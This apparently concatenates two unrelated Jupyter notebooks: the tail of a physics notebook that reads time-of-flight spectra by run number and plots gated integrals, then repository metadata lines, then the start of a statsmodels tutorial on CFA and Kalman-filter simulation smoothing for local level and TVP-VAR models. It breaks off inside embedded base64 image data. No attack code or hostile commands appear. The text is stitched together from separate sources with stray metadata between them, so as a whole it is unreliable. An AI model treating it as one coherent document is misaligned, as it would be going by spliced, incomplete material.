44Ia7Cba2dlpPIVc3T6fj6ysLD777DMT5M69Tm5urvk/3fhkbvZJ\n95wjRozA6/WaSfDTp0/T2dlJWlqaef3qq69Mf+U6DHR3d5sJb1ejG83ZbW8ej8ckBgvPDOdqdN+7\nTgvHjh2jq6srpgWdQ2EcjgDBmWLGAuGrnuqAYuCoiIwAclT1CxE54uzv67OGpUuXkp6ezueff05H\nR4fxJvB4PCQnJ5tomd3d3VxwwQUcOnTIuOt1dXXh9Xppbm42BsP94Zw8eZKysjLS09M5deoUDzzw\ngPEqSktL4+KLL8bj8XD33Xdz6aWXkpSUxMsvv8yyZcuMtsceeyxkxfKYMWN45pln+N3vfseCBQtC\nwm67lJeXmwiRq1at4sUXX6SgoIDy8nIaGhrMOo3gdQRpaWmUlpaiqtx///1s2LCBoqIiCgoKKCws\nNA15xIgR+Hy+kCRCR48e5aabbiI3N5fS0lKqqqrw+Xzs27eP2bNn99CXnJzM2LFjGT9+PPX19Uyc\nOJGioiKamppob2+nu7ubPXv28Oyzz3LllVeGhCi/7bbb2LJli8m7vXXr1pD1IaNHjzbpGd1Adikp\nKRw8eJALL7yQ5uZm4x3j/sCbmppMpE23cRcXF5tOrqWlBZ/PF+Iu6KbdrKysZNeuXXzyySeUlZWF\ndMjBa0ZeeeUV5s6da1LNlpSUkJ2dzf79+03H43rquK6a7tqC06dP09HRQXFxsYlaq6q0t7fT2Nho\njKTX62X8+PFkZGSEROb0er1kZWWZSJyFhYUUFRWRnp6Oz+cjMzOT1tZWysrKQjxa3Cinfr/fdOoi\nYlwqXVfHkSNH0t3dzYkTJ0zHpI4vfVZWFuPGjcPj8ZCXl2c6LLeDCQ4k5/5vbhm3jl0jnpmZyalT\np2hra6OlpYW2tjZEhDfeeIN33nmH733ve+Y36iakcttvUlISfr+fr776iokTJ4Z4g3V2dpKSkmI6\nSq/Xi6qa1Jlu0Luuri6ys7ONV5HbR7gdq2vU3X0Q8Bw8ceIEZWVlZGZmmmjHrveZ66XkGgDXMAW7\nGLvrKzweD8ePHycnJyfEyAR36Op4HKWkpIR4YCUnJ9Pe3m6+O9fzKi0tzRi57u5ucz739+SmNXVT\nyroRZ7/++mvjXj9gBjOLHfwHjAAOA+cR8Ep6D6gIK/Mz4DFn+1oC8wwAlcC7zufGOeeRXq5jZt+/\n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\n", "text/plain": [ "<matplotlib.figure.Figure at 0x103e49790>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "runNumber = [16115, 16116, 16117, 16118, 16120, 16121, 16122, 16123, 16124, 16125,\n", " 16126, 16127, 16128, 16129, 16130, 16131, 16132, 16133, 16134, 16135,\n", " 16136, 16137, 16138, 16139, 16140, 16142, 16143, 16144, 16145]\n", "scan_distance = -500. + 100.*numpy.arange(len(runNumber))\n", "\n", "#gmd_gate = [(80, 85)] * len(runNumber)\n", "gmd_gate = [(87.5, 92.5)]\n", "\n", "#position_gate = [(2.26, 2.31), (2.32, 2.39), (2.73, 2.84)]\n", "position_gate = [(2.04, 2.06), (2.08, 2.10), (2.12, 2.14),\n", " (2.16, 2.19), (2.199, 2.25), (2.26, 2.31), (2.32, 2.379), (2.393, 2.455),\n", " (2.482, 2.545), (2.597, 2.667), (2.73, 2.84)]" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [ "all_tof = []\n", "all_idInterval = []\n", "for rn in runNumber:\n", " print(\"read run {0}\".format(rn))\n", " tofSpectra0, idInterval0 = daq.allValuesOfRun(tofChannelName, rn)\n", " all_tof.append(tofSpectra0 * 0.8 / 2048.) # convert to V\n", " all_idInterval.append(idInterval0)" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [ "all_gmd = []\n", "for id_interval in all_idInterval:\n", " try:\n", " bdaEnergy= daq.valuesOfInterval(bda_energy_channel_name, id_interval)\n", " gmd_values = bdaEnergy[:, 0]\n", " all_gmd.append(gmd_values)\n", " except:\n", " all_tof = all_tof[:len(all_gmd)]\n", " scan_distance = scan_distance[:len(all_gmd)]\n", " print \"Stopping after {0} gmd reads at run {1}\".format(len(all_gmd), runNumber[len(all_gmd)]-1)\n", " break" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [ "average_tof = []\n", "tof_x = numpy.arange(20000) * 10. / 20000.\n", "integral_plots = [[] for _ in range(len(position_gate))]\n", "for index in range(len(all_tof)):\n", " average_tof.append(all_tof[index][(all_gmd[index] > gmd_gate[index][0]) * (all_gmd[index] < gmd_gate[index][1]), :].mean(axis=0))\n", " for window_index, g in enumerate(position_gate[:len(all_tof)]):\n", " integral_plots[window_index].append(average_tof[-1][(tof_x > g[0]) * (tof_x < g[1])].sum())" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [ "fig = matplotlib.pyplot.figure(1)\n", "fig.clear()\n", "ax = fig.add_subplot(111)\n", "for i, p in enumerate(integral_plots):\n", " ax.plot(scan_distance[:-1], p[:-1], label=\"{0} - {1}\".format(position_gate[i][0], position_gate[i][1]))\n", "for i, p in enumerate(integral_plots):\n", " ax.plot([scan_distance[19]], [p[-1]], \"o\", color=ax.lines[i].get_color())\n", "#ax.legend() \n", "#fig.canvas.draw()" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [ "fig2 = matplotlib.pyplot.figure(2)\n", "fig2.clear()\n", "ax2 = fig2.add_subplot(111)\n", "for i, this_average_tof in enumerate(average_tof):\n", " ax2.plot(tof_x, this_average_tof + 0.01*i, color=\"black\")\n", " ax2.set_xlim((2., 6.))\n", "ylim = ax2.get_ylim()\n", "for i, g in enumerate(position_gate):\n", " ax2.add_patch(matplotlib.patches.Rectangle((g[0], ylim[0]), g[1]-g[0], ylim[1] - ylim[0], color=\"lightgray\"))\n", "ax2.set_ylim(ylim)\n", "#fig2.canvas.draw()" ] } ], "metadata": { "kernelspec": { "display_name": "Python 2", "language": "python", "name": "python2" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 2 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython2", "version": "2.7.10" } }, "nbformat": 4, "nbformat_minor": 1 }

bsd-2-clause

statsmodels/statsmodels.github.io

v0.12.2/examples/notebooks/generated/statespace_tvpvar_mcmc_cfa.ipynb

2

830893

{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "## TVP-VAR, MCMC, and sparse simulation smoothing" ] }, { "cell_type": "code", "execution_count": 1, "metadata": { "execution": { "iopub.execute_input": "2021-02-02T06:51:36.092535Z", "iopub.status.busy": "2021-02-02T06:51:36.084477Z", "iopub.status.idle": "2021-02-02T06:51:37.233637Z", "shell.execute_reply": "2021-02-02T06:51:37.232850Z" } }, "outputs": [], "source": [ "%matplotlib inline\n", "\n", "from importlib import reload\n", "import numpy as np\n", "import pandas as pd\n", "import statsmodels.api as sm\n", "import matplotlib.pyplot as plt\n", "\n", "from scipy.stats import invwishart, invgamma\n", "\n", "# Get the macro dataset\n", "dta = sm.datasets.macrodata.load_pandas().data\n", "dta.index = pd.date_range('1959Q1', '2009Q3', freq='QS')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Background\n", "\n", "Bayesian analysis of linear Gaussian state space models via Markov chain Monte Carlo (MCMC) methods has become both commonplace and relatively straightforward in recent years, due especially to advances in sampling from the joint posterior of the unobserved state vector conditional on the data and model parameters (see especially Carter and Kohn (1994), de Jong and Shephard (1995), and Durbin and Koopman (2002)). This is particularly useful for Gibbs sampling MCMC approaches.\n", "\n", "While these procedures make use of the forward/backward application of the recursive Kalman filter and smoother, another recent line of research takes a different approach and constructs the posterior joint distribution of the entire vector of states at once - see in particular Chan and Jeliazkov (2009) for an econometric time series treatment and McCausland et al. (2011) for a more general survey. In particular, the posterior mean and precision matrix are constructed explicitly, with the latter a sparse band matrix. Advantage is then taken of efficient algorithms for Cholesky factorization of sparse band matrices; this reduces memory costs and can improve performance. Following McCausland et al. (2011), we refer to this method as the \"Cholesky Factor Algorithm\" (CFA) approach.\n", "\n", "The CFA-based simulation smoother has some advantages and some drawbacks compared to that based on the more typical Kalman filter and smoother (KFS).\n", "\n", "**Advantages of CFA**:\n", "\n", "- Derivation of the joint posterior distribution is relatively straightforward and easy to understand.\n", "- In some cases can be both faster and less memory-intensive than the KFS approach\n", " - In the Appendix at the end of this notebook, we briefly discuss the performance of the two simulation smoothers for the TVP-VAR model. In summary: simple tests on a single machine suggest that for the TVP-VAR model, the CFA and KFS implementations in Statsmodels have about the same runtimes, while both implementations are about twice as fast as the replication code, written in Matlab, provided by Chan and Jeliazkov (2009).\n", "\n", "**Drawbacks of CFA**:\n", "\n", "The main drawback is that this method has not (at least so far) reached the generality of the KFS approach. For example:\n", "\n", "- It can not be used with models that have reduced-rank error terms in the observation or state equations.\n", " - One implication of this is that the typical state space model trick of including identities in the state equation to accommodate, for example, higher-order lags in autoregressive models is not applicable. These models can still be handled by the CFA approach, but at the cost of requiring a slightly different implementation for each lag that is included.\n", " - As an example, standard ways of representing ARMA and VARMA processes in state space form do include identities in the observation and/or state equations, and so the basic formulas presented in Chan and Jeliazkov (2009) do not apply immediately to these models.\n", "- Less flexibility is available in the state initialization / prior." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Implementation in Statsmodels\n", "\n", "A CFA simulation smoother along the lines of the basic formulas presented in Chan and Jeliazkov (2009) has been implemented in Statsmodels.\n", "\n", "**Notes**:\n", "\n", "- Therefore, the CFA simulation smoother in Statsmodels so-far only supports the case that the state transition is truly a first-order Markov process (i.e. it does not support a p-th order Markov process that has been stacked using identities into a first-order process).\n", "- By contrast, the KFS smoother in Statsmodels is fully general any can be used for any state space model, including those with stacked p-th order Markov processes or other identities in the observation and state equations.\n", "\n", "Either a KFS or the CFA simulation smoothers can be constructed from a state space model using the `simulation_smoother` method. To show the basic idea, we first consider a simple example." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "#### Local level model\n", "\n", "A local level model decomposes an observed series $y_t$ into a persistent trend $\\mu_t$ and a transitory error component\n", "\n", "$$\n", "\\begin{aligned}\n", "y_t & = \\mu_t + \\varepsilon_t, \\qquad \\varepsilon_t \\sim N(0, \\sigma_\\text{irregular}^2) \\\\\n", "\\mu_t & = \\mu_{t-1} + \\eta_t, \\quad ~ \\eta_t \\sim N(0, \\sigma_\\text{level}^2)\n", "\\end{aligned}\n", "$$\n", "\n", "This model satisfies the requirements of the CFA simulation smoother because both the observation error term $\\varepsilon_t$ and the state innovation term $\\eta_t$ are non-degenerate - that is, their covariance matrices are full rank.\n", "\n", "We apply this model to inflation, and consider simulating draws from the posterior of the joint state vector. That is, we are interested in sampling from\n", "\n", "$$p(\\mu^t \\mid y^t, \\sigma_\\text{irregular}^2, \\sigma_\\text{level}^2)$$\n", "\n", "where we define $\\mu^t \\equiv (\\mu_1, \\dots, \\mu_T)'$ and $y^t \\equiv (y_1, \\dots, y_T)'$.\n", "\n", "In Statsmodels, the local level model falls into the more general class of \"unobserved components\" models, and can be constructed as follows:" ] }, { "cell_type": "code", "execution_count": 2, "metadata": { "execution": { "iopub.execute_input": "2021-02-02T06:51:37.236930Z", "iopub.status.busy": "2021-02-02T06:51:37.236246Z", "iopub.status.idle": "2021-02-02T06:51:37.326185Z", "shell.execute_reply": "2021-02-02T06:51:37.326564Z" } }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "sigma2.irregular 3.373368\n", "sigma2.level 0.744712\n", "dtype: float64\n" ] } ], "source": [ "# Construct a local level model for inflation\n", "mod = sm.tsa.UnobservedComponents(dta.infl, 'llevel')\n", "\n", "# Fit the model's parameters (sigma2_varepsilon and sigma2_eta)\n", "# via maximum likelihood\n", "res = mod.fit()\n", "print(res.params)\n", "\n", "# Create simulation smoother objects\n", "sim_kfs = mod.simulation_smoother() # default method is KFS\n", "sim_cfa = mod.simulation_smoother(method='cfa') # can specify CFA method" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "The simulation smoother objects `sim_kfs` and `sim_cfa` have `simulate` methods that perform simulation smoothing. Each time that `simulate` is called, the `simulated_state` attribute will be re-populated with a new simulated draw from the posterior.\n", "\n", "Below, we construct 20 simulated paths for the trend, using the KFS and CFA approaches, where the simulation is at the maximum likelihood parameter estimates." ] }, { "cell_type": "code", "execution_count": 3, "metadata": { "execution": { "iopub.execute_input": "2021-02-02T06:51:37.336768Z", "iopub.status.busy": "2021-02-02T06:51:37.331316Z", "iopub.status.idle": "2021-02-02T06:51:37.366903Z", "shell.execute_reply": "2021-02-02T06:51:37.366524Z" } }, "outputs": [], "source": [ "nsimulations = 20\n", "simulated_state_kfs = pd.DataFrame(\n", " np.zeros((mod.nobs, nsimulations)), index=dta.index)\n", "simulated_state_cfa = pd.DataFrame(\n", " np.zeros((mod.nobs, nsimulations)), index=dta.index)\n", "\n", "for i in range(nsimulations):\n", " # Apply KFS simulation smoothing\n", " sim_kfs.simulate()\n", " # Save the KFS simulated state\n", " simulated_state_kfs.iloc[:, i] = sim_kfs.simulated_state[0]\n", "\n", " # Apply CFA simulation smoothing\n", " sim_cfa.simulate()\n", " # Save the CFA simulated state\n", " simulated_state_cfa.iloc[:, i] = sim_cfa.simulated_state[0]" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Plotting the observed data and the simulations created using each method below, it is not too hard to see that these two methods are doing the same thing." ] }, { "cell_type": "code", "execution_count": 4, "metadata": { "execution": { "iopub.execute_input": "2021-02-02T06:51:37.387574Z", "iopub.status.busy": "2021-02-02T06:51:37.385035Z", "iopub.status.idle": "2021-02-02T06:51:38.179284Z", "shell.execute_reply": "2021-02-02T06:51:38.178577Z" } }, "outputs": [ { "data": { "image/png": "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